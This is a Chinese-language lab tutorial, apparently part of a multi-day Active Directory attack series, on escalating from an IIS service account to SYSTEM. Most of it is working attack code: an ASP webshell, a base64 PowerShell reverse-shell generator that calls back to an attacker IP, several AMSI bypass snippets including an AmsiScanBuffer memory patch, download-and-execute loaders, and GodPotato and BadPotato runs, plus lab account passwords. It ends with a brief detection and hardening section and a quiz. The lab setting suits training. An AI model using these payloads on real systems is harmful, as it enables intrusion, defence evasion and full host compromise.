經過前八天的攻防演練,我們已經成功獲得了多個網域使用者憑證,並透過 MSSQL 取得了初步的系統存取。今天要深入探討 Windows 權限提升(Privilege Escalation)技術,學習如何從低權限的 IIS 服務帳號提升到 SYSTEM 權限。我們將實作 IIS webshell、AMSI 繞過、SeImpersonatePrivilege 濫用等關鍵技術。
在完成今天的實作後,你將能夠:
在開始之前,確保已經完成:
jon.snow:iknownothing
samwell.tarly:Heartsbane
brandon.stark:iseedeadpeople
# 掃描 IIS 服務
nmap -p 80,443,8080 192.168.139.22
查看網頁內容
CASTELBLACK 上執行著一個簡單的 ASP.NET 應用程式,提供檔案上傳功能。
# 準備 webshell
cat > webshell.asp << 'EOF'
<%
Function getResult(theParam)
Dim objSh, objResult
Set objSh = CreateObject("WScript.Shell")
Set objResult = objSh.exec(theParam)
getResult = objResult.StdOut.ReadAll
end Function
%>
<HTML>
<BODY>
Enter command:
<FORM action="" method="POST">
<input type="text" name="param" size=45 value="<%= myValue %>">
<input type="submit" value="Run">
</FORM>
<p>
Result :
<%
myValue = request("param")
thisDir = getResult("cmd /c" & myValue)
Response.Write(thisDir)
%>
</p>
<br>
</BODY>
</HTML>
EOF
# 啟動 HTTP 伺服器
python3 -m http.server 8080
透過 Web 介面上傳我們準備的 webshell.asp
:
http://192.168.139.22
webshell.asp
/upload/
目錄http://192.168.139.22/upload/webshell.asp
在 webshell 介面執行:
whoami
預期輸出:
iis apppool\defaultapppool
準備反向 Shell payload:
# gen_ps_payload.py
import base64
import sys
if len(sys.argv) < 3:
print('usage: %s ip port' % sys.argv[0])
sys.exit(0)
payload = """
$c = New-Object System.Net.Sockets.TCPClient('%s',%s);
$s = $c.GetStream();[byte[]]$b = 0..65535|%%{0};
while(($i = $s.Read($b, 0, $b.Length)) -ne 0){
$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);
$sb = (iex $d 2>&1 | Out-String );
$sb = ([text.encoding]::ASCII).GetBytes($sb + 'PS> ');
$s.Write($sb,0,$sb.Length);
$s.Flush()
};
$c.Close()
""" % (sys.argv[1], sys.argv[2])
byte = payload.encode('utf-16-le')
b64 = base64.b64encode(byte)
print("powershell -exec bypass -enc %s" % b64.decode())
執行:
# 產生 payload
python3 gen_ps_payload.py 192.168.139.136 4444 > ps_payload.txt
# 啟動監聽器
nc -nlvp 4444
# 在 webshell 執行 payload
powershell -exec bypass -enc <base64_payload>
# 檢查使用者身分
whoami
whoami /all
關鍵發現:
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= =======
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeImpersonatePrivilege 是關鍵!這個權限允許我們模擬其他使用者的身分。
Anti-Malware Scan Interface (AMSI) 會:
許多 AMSI 繞過在現代系統不再可靠/會觸發 EDR,
以及繞過方式會隨 Windows 版本與 Defender 更新被修補。
原始的 AMSI 繞過:
[Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiContext',[Reflection.BindingFlags]'NonPublic,Static').GetValue($null),0x41414141)
修改版本(分割字串):
$x=[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUt'+'ils');
$y=$x.GetField('am'+'siCon'+'text',[Reflection.BindingFlags]'NonPublic,Static');
$z=$y.GetValue($null);
[Runtime.InteropServices.Marshal]::WriteInt32($z,0x41424344)
# Rasta Mouse 的 AmsiScanBuffer patch
$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $Win32
$LoadLibrary = [Win32]::LoadLibrary("amsi.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "AmsiScanBuffer")
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)
# 從遠端載入 AMSI 繞過腳本
(new-object system.net.webclient).downloadstring('http://192.168.139.136:8080/amsi_bypass.txt')|IEX
# 下載 WinPEAS
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASany_ofs.exe
# 啟動 HTTP 伺服器
python3 -m http.server 8080
# 載入並執行 WinPEAS(不落地)
$data=(New-Object System.Net.WebClient).DownloadData('http://192.168.139.136:8080/winPEASany_ofs.exe');
$asm = [System.Reflection.Assembly]::Load([byte[]]$data);
$out = [Console]::Out;
$sWriter = New-Object IO.StringWriter;
[Console]::SetOut($sWriter);
[winPEAS.Program]::Main("");
[Console]::SetOut($out);
$sWriter.ToString()
WinPEAS 會識別出 SeImpersonatePrivilege 可用於權限提升。
更簡單的方式:
# 載入 PowerSharpPack
iex(new-object net.webclient).downloadstring('http://192.168.139.136:8080/PowerSharpPack/PowerSharpPack.ps1')
# 執行 WinPEAS
PowerSharpPack -winPEAS
Potato 系列利用 Windows 的模擬機制:
https://github.com/BeichenDream/GodPotato/releases/tag/V1.20
準備執行檔和 payload:
# 建立反向 Shell 批次檔
cat > runme.bat << 'EOF'
@echo off
powershell -exec bypass -enc <base64_reverse_shell>
exit /b
EOF
wget https://github.com/BeichenDream/GodPotato/releases/download/V1.20/GodPotato-NET4.exe
mv GodPotato-NET4.exe GodPotato.exe
python3 -m http.server 8080
在目標上執行:
# 建立臨時目錄
mkdir c:\temp
cd c:\temp
# 下載 payload
(New-Object System.Net.WebClient).DownloadFile('http://192.168.139.136:8080/GodPotato.exe','c:\temp\GodPotato.exe')
# 在攻擊者機器上開啟另一個終端機監聽
nc -lvp 4444
./GodPotato -cmd "whoami"
./GodPotato -cmd "C:\temp\runme.bat"
成功後會獲得 NT AUTHORITY\SYSTEM 權限!
PrintSpoofer 是 @itm4n 開發的技術,利用印表機服務的具名管道。
https://github.com/itm4n/PrintSpoofer
# AMSI 繞過
$x=[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUt'+'ils');
$y=$x.GetField('am'+'siCon'+'text',[Reflection.BindingFlags]'NonPublic,Static');
$z=$y.GetValue($null);
[Runtime.InteropServices.Marshal]::WriteInt32($z,0x41424344)
# 載入 AMSI 繞過和 BadPotato
iex(new-object system.net.webclient).downloadstring('http://192.168.139.136:8080/amsi_rmouse.txt')
iex(new-object net.webclient).downloadstring('http://192.168.139.136:8080/PowerSharpPack/PowerSharpBinaries/Invoke-BadPotato.ps1')
# 執行提權
Invoke-BadPotato -Command "c:\temp\runme.bat"
# 檢查哪些帳號有此權限
Get-WmiObject Win32_LogonSession | Where-Object {$_.LogonType -eq 5} |
ForEach-Object {
$session = $_.LogonId
Get-WmiObject Win32_LoggedOnUser -Filter "Dependent='Win32_LogonSession.LogonId=$session'"
}
監控以下事件:
Event ID | 描述 | 重要性 |
---|---|---|
4673 | 特權服務呼叫 | 高 |
4674 | 特權操作嘗試 | 高 |
4688 | 新 Process 建立 | 中 |
4697 | 服務安裝 | 高 |
7045 | 新服務建立 | 高 |
限制 SeImpersonatePrivilege
強制 LDAP 簽章
Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Services\NTDS\Parameters" `
-Name "LDAPServerIntegrity" -Value 2
限制機器帳號配額
Set-ADDomain -Identity "north.sevenkingdoms.local" `
-Replace @{"ms-DS-MachineAccountQuota"="0"}
1. IIS Upload → Webshell
↓
2. Webshell → PowerShell Reverse Shell
↓
3. AMSI Bypass → 工具執行能力
↓
4. SeImpersonatePrivilege → Potato 提權
↓
5. SYSTEM → 完全控制
↓
6. 憑證提取 → 橫向移動準備
在 Windows 系統中,下列哪個權限允許一個程式模擬其他使用者的安全上下文?
A) SeDebugPrivilege
B) SeImpersonatePrivilege
C) SeBackupPrivilege
D) SeRestorePrivilege
答案:B
解析:
SeImpersonatePrivilege 是專門設計用來允許程式模擬(Impersonate)其他使用者身分的權限。這個權限通常授予給需要代表不同使用者執行任務的服務,如 IIS 和 SQL Server。雖然 SeDebugPrivilege(A選項)也很強大,可以存取任何程式的記憶體,但它主要用於偵錯而非身分模擬。SeBackupPrivilege 和 SeRestorePrivilege(C、D選項)則是與檔案系統備份和還原相關的權限。
執行下列哪個 PowerShell 命令片段最可能成功繞過 AMSI 掃描?
A) Disable-WindowsDefender -Force
B) [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
C) $x=[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUt'+'ils')
D) Set-MpPreference -DisableRealtimeMonitoring $true
答案:C
解析:
選項 C 使用字串分割技術('Am'+'siUt'+'ils')來避免 AMSI 的靜態特徵偵測。這是一種常見的混淆技術,通過將敏感字串分割成多個部分再組合,可以繞過基於字串匹配的檢測。選項 B 雖然是正確的類別引用,但直接使用完整字串容易被偵測。選項 A 和 D 是嘗試直接停用防護功能的命令,不僅需要管理員權限,而且會被 AMSI 直接攔截。
Potato 系列攻擊工具主要利用了 Windows 的哪個機制來實現權限提升?
A) DLL 劫持載入機制
B) UAC 繞過機制
C) Token 模擬與具名管道劫持
D) 核心驅動程式漏洞
答案:C
解析:
Potato 系列工具(包括 GodPotato、SweetPotato、BadPotato 等)的核心原理是利用 Windows 的 Token 模擬機制。攻擊流程是:(1) 建立惡意的具名管道或 COM 伺服器,(2) 誘騙 SYSTEM 權限的服務連接到攻擊者控制的端點,(3) 透過 SeImpersonatePrivilege 權限模擬 SYSTEM 的 token,從而獲得最高權限。這種技術不依賴於 DLL 劫持(A選項)、UAC 繞過(B選項)或核心漏洞(D選項)。
在監控潛在的權限提升攻擊時,下列哪個 Windows 事件 ID 最能直接指示特權服務的異常呼叫?
A) Event ID 4624 - 帳戶登入
B) Event ID 4673 - 特權服務呼叫
C) Event ID 4688 - 新 Process 建立
D) Event ID 5140 - 網路共享存取
答案:B
解析:
Event ID 4673 專門記錄特權服務的呼叫,包括使用 SeImpersonatePrivilege 等敏感權限的操作,是監控權限提升攻擊的關鍵指標。當攻擊者使用 Potato 系列工具時,會觸發此事件。Event ID 4624(A選項)記錄一般登入事件,4688(C選項)記錄程式建立但不特別關注權限使用,5140(D選項)則與網路共享相關,都不如 4673 直接相關於特權操作的監控。
使用 WinPEAS 等枚舉工具時,為什麼建議採用記憶體載入執行而非直接下載到磁碟?
A) 記憶體執行速度更快
B) 避免防毒軟體掃描和留下磁碟痕跡
C) 記憶體載入不需要管理員權限
D) 可以同時執行多個實例
答案:B
解析:
記憶體載入執行(也稱為 "fileless" 或 "living off the land" 技術)的主要優勢是避免在磁碟上留下痕跡,同時繞過基於檔案系統的防毒掃描。透過 [System.Reflection.Assembly]::Load()
直接將執行檔載入記憶體執行,可以避免觸發檔案系統監控和防毒軟體的即時掃描。這種技術與執行速度(A選項)無關,仍然需要適當的權限(C選項),也不是為了多實例執行(D選項)而設計的。